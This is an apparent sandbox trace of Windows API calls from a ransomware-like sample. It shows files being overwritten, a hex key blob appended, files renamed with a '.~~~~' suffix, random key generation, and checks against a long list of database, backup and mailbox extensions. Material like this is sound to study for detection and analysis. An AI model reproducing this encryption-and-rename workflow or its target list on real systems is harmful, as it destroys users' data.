	[0087.127] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20711671494) returned 1
	[0087.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9dbc9570, dwHighDateTime=0x1d60e1e)) 
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea0c8
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea0c8 | out: hHeap=0x300000) returned 1
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6a00
	[0087.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0087.127] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0087.127] GetLastError () returned 0x0
	[0087.128] GetLastError () returned 0x0
	[0087.128] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0087.128] GetLastError () returned 0x0
	[0087.128] GetLastError () returned 0x0
	[0087.132] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffee6a1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.132] WriteFile (in: hFile=0x12c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x1195f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x1195f, lpOverlapped=0x0) returned 1
	[0087.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0087.132] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.133] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.133] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.133] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.133] CloseHandle (hObject=0x12c) returned 1
	[0087.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5ae0
	[0087.133] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.~~~~")) returned 1
	[0087.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5ae0 | out: hHeap=0x300000) returned 1
	[0087.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.134] GetLastError () returned 0x0
	[0087.134] lstrlenW (lpString=".sqb") returned 4
	[0087.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".sqb") returned 0x0
	[0087.134] lstrlenW (lpString=".ost") returned 4
	[0087.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".ost") returned 0x0
	[0087.134] lstrlenW (lpString=".txt") returned 4
	[0087.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".txt") returned 0x0
	[0087.135] lstrlenW (lpString=".mdt") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".mdt") returned 0x0
	[0087.135] lstrlenW (lpString=".BDB") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".BDB") returned 0x0
	[0087.135] lstrlenW (lpString=".eql") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".eql") returned 0x0
	[0087.135] lstrlenW (lpString=".DBF") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DBF") returned 0x0
	[0087.135] lstrlenW (lpString=".EQL") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".EQL") returned 0x0
	[0087.135] lstrlenW (lpString=".FDB") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".FDB") returned 0x0
	[0087.135] lstrlenW (lpString=".EDB") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".EDB") returned 0x0
	[0087.135] lstrlenW (lpString=".DACPAC") returned 7
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DACPAC") returned 0x0
	[0087.135] lstrlenW (lpString=".VHD") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".VHD") returned 0x0
	[0087.135] lstrlenW (lpString=".DBV") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DBV") returned 0x0
	[0087.135] lstrlenW (lpString=".dacpac") returned 7
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".dacpac") returned 0x0
	[0087.135] lstrlenW (lpString=".sdf") returned 4
	[0087.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".sdf") returned 0x0
	[0087.135] lstrlenW (lpString=".accdb") returned 6
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".accdb") returned 0x0
	[0087.136] lstrlenW (lpString=".DBX") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DBX") returned 0x0
	[0087.136] lstrlenW (lpString=".MDT") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".MDT") returned 0x0
	[0087.136] lstrlenW (lpString=".SQB") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".SQB") returned 0x0
	[0087.136] lstrlenW (lpString=".vhd") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".vhd") returned 0x0
	[0087.136] lstrlenW (lpString=".bac") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".bac") returned 0x0
	[0087.136] lstrlenW (lpString=".mdf") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".mdf") returned 0x0
	[0087.136] lstrlenW (lpString=".BAK") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".BAK") returned 0x0
	[0087.136] lstrlenW (lpString=".BAC") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".BAC") returned 0x0
	[0087.136] lstrlenW (lpString=".dbs") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".dbs") returned 0x0
	[0087.136] lstrlenW (lpString=".vhdx") returned 5
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".vhdx") returned 0x0
	[0087.136] lstrlenW (lpString=".NDF") returned 4
	[0087.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".NDF") returned 0x0
	[0087.137] lstrlenW (lpString=".dat") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".dat") returned 0x0
	[0087.137] lstrlenW (lpString=".DBS") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DBS") returned 0x0
	[0087.137] lstrlenW (lpString=".CKP") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".CKP") returned 0x0
	[0087.137] lstrlenW (lpString=".edb") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".edb") returned 0x0
	[0087.137] lstrlenW (lpString=".PST") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".PST") returned 0x0
	[0087.137] lstrlenW (lpString=".dbf") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".dbf") returned 0x0
	[0087.137] lstrlenW (lpString=".SQL") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".SQL") returned 0x0
	[0087.137] lstrlenW (lpString=".pst") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".pst") returned 0x0
	[0087.137] lstrlenW (lpString=".dbv") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".dbv") returned 0x0
	[0087.137] lstrlenW (lpString=".SDF") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".SDF") returned 0x0
	[0087.137] lstrlenW (lpString=".dtxs") returned 5
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".dtxs") returned 0x0
	[0087.137] lstrlenW (lpString=".db3") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".db3") returned 0x0
	[0087.137] lstrlenW (lpString=".OST") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".OST") returned 0x0
	[0087.137] lstrlenW (lpString=".dbx") returned 4
	[0087.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".dbx") returned 0x0
	[0087.138] lstrlenW (lpString=".DB3") returned 4
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DB3") returned 0x0
	[0087.138] lstrlenW (lpString=".DAT") returned 4
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DAT") returned 0x0
	[0087.138] lstrlenW (lpString=".VHDX") returned 5
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".VHDX") returned 0x0
	[0087.138] lstrlenW (lpString=".ndf") returned 4
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".ndf") returned 0x0
	[0087.138] lstrlenW (lpString=".DB") returned 3
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DB") returned 0x0
	[0087.138] lstrlenW (lpString=".sql") returned 4
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".sql") returned 0x0
	[0087.138] lstrlenW (lpString=".MYD") returned 4
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".MYD") returned 0x0
	[0087.138] lstrlenW (lpString=".DBT") returned 4
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DBT") returned 0x0
	[0087.138] lstrlenW (lpString=".ACCDB") returned 6
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".ACCDB") returned 0x0
	[0087.138] lstrlenW (lpString=".fdb") returned 4
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".fdb") returned 0x0
	[0087.138] lstrlenW (lpString=".bak") returned 4
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".bak") returned 0x0
	[0087.138] lstrlenW (lpString=".myd") returned 4
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".myd") returned 0x0
	[0087.138] lstrlenW (lpString=".DTXS") returned 5
	[0087.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".DTXS") returned 0x0
	[0087.139] lstrlenW (lpString=".ckp") returned 4
	[0087.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".ckp") returned 0x0
	[0087.139] lstrlenW (lpString=".dbt") returned 4
	[0087.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".dbt") returned 0x0
	[0087.139] lstrlenW (lpString=".db") returned 3
	[0087.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".db") returned 0x0
	[0087.139] lstrlenW (lpString=".TXT") returned 4
	[0087.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".TXT") returned 0x0
	[0087.139] lstrlenW (lpString=".MDF") returned 4
	[0087.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".MDF") returned 0x0
	[0087.139] lstrlenW (lpString=".bdb") returned 4
	[0087.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".bdb") returned 0x0
	[0087.139] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0087.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0087.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0087.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0087.139] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0087.140] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.140] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.141] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20713076432) returned 1
	[0087.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9dbef6d0, dwHighDateTime=0x1d60e1e)) 
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa1d0
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa1d0 | out: hHeap=0x300000) returned 1
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6e98
	[0087.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6e98 | out: hHeap=0x300000) returned 1
	[0087.141] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0087.141] GetLastError () returned 0x0
	[0087.142] GetLastError () returned 0x0
	[0087.142] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0087.142] GetLastError () returned 0x0
	[0087.142] GetLastError () returned 0x0
	[0087.148] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.148] WriteFile (in: hFile=0x12c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0087.151] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.151] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.154] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.154] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.154] CloseHandle (hObject=0x12c) returned 1
	[0087.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6fe8
	[0087.154] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.~~~~")) returned 1
	[0087.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0087.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.155] GetLastError () returned 0x0
	[0087.156] lstrlenW (lpString=".sqb") returned 4
	[0087.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".sqb") returned 0x0
	[0087.157] lstrlenW (lpString=".ost") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".ost") returned 0x0
	[0087.157] lstrlenW (lpString=".txt") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".txt") returned 0x0
	[0087.157] lstrlenW (lpString=".mdt") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".mdt") returned 0x0
	[0087.157] lstrlenW (lpString=".BDB") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".BDB") returned 0x0
	[0087.157] lstrlenW (lpString=".eql") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".eql") returned 0x0
	[0087.157] lstrlenW (lpString=".DBF") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DBF") returned 0x0
	[0087.157] lstrlenW (lpString=".EQL") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".EQL") returned 0x0
	[0087.157] lstrlenW (lpString=".FDB") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".FDB") returned 0x0
	[0087.157] lstrlenW (lpString=".EDB") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".EDB") returned 0x0
	[0087.157] lstrlenW (lpString=".DACPAC") returned 7
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".DACPAC") returned 0x0
	[0087.157] lstrlenW (lpString=".VHD") returned 4
	[0087.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpSrch=".VHD") returned 0x0
	[0087.157] lstrlenW (lpString=".DBV") returned 4
